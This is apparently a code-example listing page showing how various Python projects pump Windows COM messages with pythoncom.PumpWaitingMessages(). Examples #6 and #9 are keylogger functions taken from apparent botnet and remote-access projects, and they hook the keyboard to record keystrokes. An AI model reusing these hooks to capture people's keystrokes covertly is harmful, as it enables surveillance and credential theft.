Python pythoncom.PumpWaitingMessages() Examples
The following are 17
code examples of pythoncom.PumpWaitingMessages().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
pythoncom
, or try the search function
.
Example #1
Source File: eventsApartmentThreaded.py From ironpython2 with Apache License 2.0 | 8 votes |
def WaitWhileProcessingMessages(event, timeout = 2): start = time.clock() while True: # Wake 4 times a second - we can't just specify the # full timeout here, as then it would reset for every # message we process. rc = win32event.MsgWaitForMultipleObjects( (event,), 0, 250, win32event.QS_ALLEVENTS) if rc == win32event.WAIT_OBJECT_0: # event signalled - stop now! return True if (time.clock() - start) > timeout: # Timeout expired. return False # must be a message. pythoncom.PumpWaitingMessages()
Example #2
Source File: testGIT.py From ironpython2 with Apache License 2.0 | 6 votes |
def test(fn): print "The main thread is %d" % (win32api.GetCurrentThreadId()) GIT = CreateGIT() interp = win32com.client.Dispatch("Python.Interpreter") cookie = GIT.RegisterInterfaceInGlobal(interp._oleobj_, pythoncom.IID_IDispatch) events = fn(4, cookie) numFinished = 0 while 1: try: rc = win32event.MsgWaitForMultipleObjects(events, 0, 2000, win32event.QS_ALLINPUT) if rc >= win32event.WAIT_OBJECT_0 and rc < win32event.WAIT_OBJECT_0+len(events): numFinished = numFinished + 1 if numFinished >= len(events): break elif rc==win32event.WAIT_OBJECT_0 + len(events): # a message # This is critical - whole apartment model demo will hang. pythoncom.PumpWaitingMessages() else: # Timeout print "Waiting for thread to stop with interfaces=%d, gateways=%d" % (pythoncom._GetInterfaceCount(), pythoncom._GetGatewayCount()) except KeyboardInterrupt: break GIT.RevokeInterfaceFromGlobal(cookie) del interp del GIT
Example #3
Source File: testADOEvents.py From ironpython2 with Apache License 2.0 | 6 votes |
def TestConnection(dbname): # Create the ADO connection object, and link the event # handlers into it c = DispatchWithEvents("ADODB.Connection", ADOEvents) # Initiate the asynchronous open dsn = "Driver={Microsoft Access Driver (*.mdb)};Dbq=%s" % dbname user = "system" pw = "manager" c.Open(dsn, user, pw, constants.adAsyncConnect) # Sit in a loop, until our event handler (above) sets the # "finished" flag or we time out. end_time = time.clock() + 10 while time.clock() < end_time: # Pump messages so that COM gets a look in pythoncom.PumpWaitingMessages() if not finished: print "XXX - Failed to connect!"
Example #4
Source File: testMSOfficeEvents.py From ironpython2 with Apache License 2.0 | 6 votes |
def _WaitForFinish(ob, timeout): end = time.time() + timeout while 1: if msvcrt.kbhit(): msvcrt.getch() break pythoncom.PumpWaitingMessages() stopEvent.wait(.2) if stopEvent.isSet(): stopEvent.clear() break try: if not ob.Visible: # Gone invisible - we need to pretend we timed # out, so the app is quit. return 0 except pythoncom.com_error: # Excel is busy (eg, editing the cell) - ignore pass if time.time() > end: return 0 return 1
Example #5
Source File: dfly-loader-wsr.py From dragonfly with GNU Lesser General Public License v3.0 | 6 votes |
def main(): logging.basicConfig(level=logging.INFO) try: path = os.path.dirname(__file__) except NameError: # The "__file__" name is not always available, for example # when this module is run from PythonWin. In this case we # simply use the current working directory. path = os.getcwd() __file__ = os.path.join(path, "dfly-loader-wsr.py") engine = Sapi5InProcEngine() engine.connect() directory = CommandModuleDirectory(path, excludes=[__file__]) directory.load() engine.speak('beginning loop!') while 1: pythoncom.PumpWaitingMessages() time.sleep(.1)
Example #6
Source File: keylogger.py From botnet-lab with MIT License | 6 votes |
def keylogger(size): if os.name == "nt": import win32api import pythoncom from pyHook import HookManager else: p = subprocess.Popen(["echo $DISPLAY"], shell=True, stdout=subprocess.PIPE) output, err = p.communicate() if len(str(output).strip()) == 0: return "Display not found" else: import pyxhook from pyxhook import HookManager global keysPressed hm = HookManager() hm.KeyDown = onkeyboardevent hm.HookKeyboard() if os.name != "nt": hm.start() while len(keysPressed) < int(size): if os.name == "nt": pythoncom.PumpWaitingMessages() else: keys = keysPressed keysPressed = ">" if os.name == "nt": hm.UnhookKeyboard() else: hm.cancel() return keys
Example #7
Source File: bbg_com.py From tia with BSD 3-Clause "New" or "Revised" License | 6 votes |
def execute_request(cls, request): session = DispatchWithEvents('blpapicom.ProviderSession.1', ResponseHandler) session.Start() try: svcname = request.get_bbg_service_name() if not session.OpenService(svcname): raise Exception('failed to open service %s' % svcname) svc = session.GetService(svcname) asbbg = request.get_bbg_request(svc, session) session.SendRequest(asbbg) session.do_init(request) while session.waiting: PumpWaitingMessages() session.has_deferred_exception and session.raise_deferred_exception() request.has_exception and request.raise_exception() return request finally: session.Stop() session.do_cleanup()
Example #8
Source File: bbg_com.py From tia with BSD 3-Clause "New" or "Revised" License | 6 votes |
def on_event(self, evt, is_final): """ this is invoked from in response to COM PumpWaitingMessages - different thread """ response = self.response for msg in XmlHelper.message_iter(evt): bars = msg.GetElement('barData').GetElement('barTickData') for i in range(bars.NumValues): bar = bars.GetValue(i) ts = bar.GetElement(0).Value response['time'].append(datetime(ts.year, ts.month, ts.day, ts.hour, ts.minute)) response['open'].append(bar.GetElement(1).Value) response['high'].append(bar.GetElement(2).Value) response['low'].append(bar.GetElement(3).Value) response['close'].append(bar.GetElement(4).Value) response['volume'].append(bar.GetElement(5).Value) response['events'].append(bar.GetElement(6).Value) if is_final: idx = response.pop('time') self.response = DataFrame(response, columns=['open', 'high', 'low', 'close', 'volume', 'events'], index=idx)
Example #9
Source File: keylogger.py From FleX with MIT License | 5 votes |
def keystrokes(self): hm = pyHook.HookManager() hm.KeyDown = self.pressed self.keylog = True hm.HookKeyboard() while self.keylog: try:pythoncom.PumpWaitingMessages() except:pass else:hm.UnhookKeyboard()
Example #10
Source File: xareal.py From xing-plus with MIT License | 5 votes |
def run(self): """실시간 TR을 모니터링 한다 :: real.run() """ while self.running: pythoncom.PumpWaitingMessages() # print("[%d] Thread is alive ? : %s" % (self.ident, self.is_alive())) time.sleep(0.1)
Example #11
Source File: bbg_com.py From tia with BSD 3-Clause "New" or "Revised" License | 5 votes |
def on_event(self, evt, is_final): """ this is invoked from in response to COM PumpWaitingMessages - different thread """ for msg in XmlHelper.message_iter(evt): # Single security element in historical request node = msg.GetElement('securityData') if node.HasElement('securityError'): secid = XmlHelper.get_child_value(node, 'security') self.security_errors.append(XmlHelper.as_security_error(node.GetElement('securityError'), secid)) else: self.on_security_data_node(node)
Example #12
Source File: bbg_com.py From tia with BSD 3-Clause "New" or "Revised" License | 5 votes |
def on_event(self, evt, is_final): """ this is invoked from in response to COM PumpWaitingMessages - different thread """ for msg in XmlHelper.message_iter(evt): for node, error in XmlHelper.security_iter(msg.GetElement('securityData')): if error: self.security_errors.append(error) else: self.on_security_node(node) if is_final and self.response_type == 'frame': index = self.response.pop('security') frame = DataFrame(self.response, columns=self.fields, index=index) frame.index.name = 'security' self.response = frame
Example #13
Source File: sapi5.py From pyttsx3 with GNU General Public License v3.0 | 5 votes |
def iterate(self): self._proxy.setBusy(False) while 1: pythoncom.PumpWaitingMessages() yield
Example #14
Source File: sapi5.py From pyttsx3 with GNU General Public License v3.0 | 5 votes |
def startLoop(self): first = True self._looping = True while self._looping: if first: self._proxy.setBusy(False) first = False pythoncom.PumpWaitingMessages() time.sleep(0.05)
Example #15
Source File: testMarshal.py From ironpython2 with Apache License 2.0 | 5 votes |
def _DoTestMarshal(self, fn, bCoWait = 0): #print "The main thread is %d" % (win32api.GetCurrentThreadId()) threads, events = fn(2) numFinished = 0 while 1: try: if bCoWait: rc = pythoncom.CoWaitForMultipleHandles(0, 2000, events) else: # Specifying "bWaitAll" here will wait for messages *and* all events # (which is pretty useless) rc = win32event.MsgWaitForMultipleObjects(events, 0, 2000, win32event.QS_ALLINPUT) if rc >= win32event.WAIT_OBJECT_0 and rc < win32event.WAIT_OBJECT_0+len(events): numFinished = numFinished + 1 if numFinished >= len(events): break elif rc==win32event.WAIT_OBJECT_0 + len(events): # a message # This is critical - whole apartment model demo will hang. pythoncom.PumpWaitingMessages() else: # Timeout print "Waiting for thread to stop with interfaces=%d, gateways=%d" % (pythoncom._GetInterfaceCount(), pythoncom._GetGatewayCount()) except KeyboardInterrupt: break for t in threads: t.join(2) self.failIf(t.isAlive(), "thread failed to stop!?") threads = None # threads hold references to args # Seems to be a leak here I can't locate :( #self.failUnlessEqual(pythoncom._GetInterfaceCount(), 0) #self.failUnlessEqual(pythoncom._GetGatewayCount(), 0)
Example #16
Source File: xasession.py From xing-plus with MIT License | 4 votes |
def login(self, *argv): """서버 연결을 요청한다 :type argv: list :param argv: 설정 파일(argv가 1개일 경우, str 타입) 또는 서버, 사용자 정보 (argv가 2개인 경우, object) :param configfile: 설정 파일 :type configfile: bool :param server: 서버 정보 :type server: object {address:"서버주소", port:서버포트, type: 서버타입} :param user: 사용자 정보 :type user: object {id:"아이디", passwd:"비밀번호", account_passwd:"계좌비밀번호", certificate_passwd:"공인인증서비밀번호"} :return: 로그인이 성공하면 True, 실패하면 Fasle :rtype: bool :: session = Session() # 설정 파일을 읽어 로그인 하는 경우 session.login("config.conf") # 서버와 사용자 정보를 입력하여, 로그인 하는 경우 server = { "address" :"hts.ebestsec.co.kr", # 서버주소 "port" : 20001, # 서버포트 "type" : 0 # 서버 타입 } user = { "id" : "sculove", # 아이디 "passwd" : "12345678", # 비밀번호 "account_passwd" : "1234", # 계좌 비밀번호 "certificate_passwd" : "12345678" # 공인인증서 비밀번호 } session.login(server, user) """ argvCount = len(argv) if argvCount == 1: rst = self.load(argv[0]) server = rst["server"] user = rst["user"] elif argvCount >= 2: server = argv[0] user = argv[1] if not user["id"] or not user["passwd"]: log.critical("로그인 실패 : 서버와 사용자 정보를 입력해주세요") return False self.session.reset() self.session.ConnectServer(server["address"], server["port"]) self.session.Login(user["id"], user["passwd"], user["certificate_passwd"], server["type"], 0) while self.session.code == -1: pythoncom.PumpWaitingMessages() time.sleep(0.1) if self.session.code == "0000": log.info("로그인 성공") return True else: log.critical("로그인 실패 : %s" % xacom.parseErrorCode(self.session.code)) return False
Example #17
Source File: engine.py From dragonfly with GNU Lesser General Public License v3.0 | 4 votes |
def _do_recognition(self): """ Recognize speech in a loop. This will also call any scheduled timer functions and ensure that the correct window context is used. """ # Register for window change events to activate/deactivate grammars # and rules on window changes. This is done here because the SAPI5 # 'OnPhraseStart' grammar callback is called after grammar state # changes are allowed. WinEventProcType = WINFUNCTYPE(None, HANDLE, DWORD, HWND, LONG, LONG, DWORD, DWORD) self._last_foreground_window = None def callback(hWinEventHook, event, hwnd, idObject, idChild, dwEventThread, dwmsEventTime): window = Window.get_foreground() # Note: hwnd doesn't always match window.handle, even when # foreground window changed (and sometimes it didn't change) if window != self._last_foreground_window: self.process_grammars_context(window) self._last_foreground_window = window def set_hook(win_event_proc, event_type): return windll.user32.SetWinEventHook( event_type, event_type, 0, win_event_proc, 0, 0, win32con.WINEVENT_OUTOFCONTEXT) win_event_proc = WinEventProcType(callback) windll.user32.SetWinEventHook.restype = HANDLE [set_hook(win_event_proc, et) for et in {win32con.EVENT_SYSTEM_FOREGROUND, win32con.EVENT_OBJECT_NAMECHANGE, }] # Recognize speech, call timer functions and handle window change # events in a loop. Stop on disconnect(). self.speak('beginning loop!') while self._recognizer is not None: pythoncom.PumpWaitingMessages() self.call_timer_callback() time.sleep(0.005) #--------------------------------------------------------------------------- # Make the shared engine available as Sapi5Engine, for backwards # compatibility.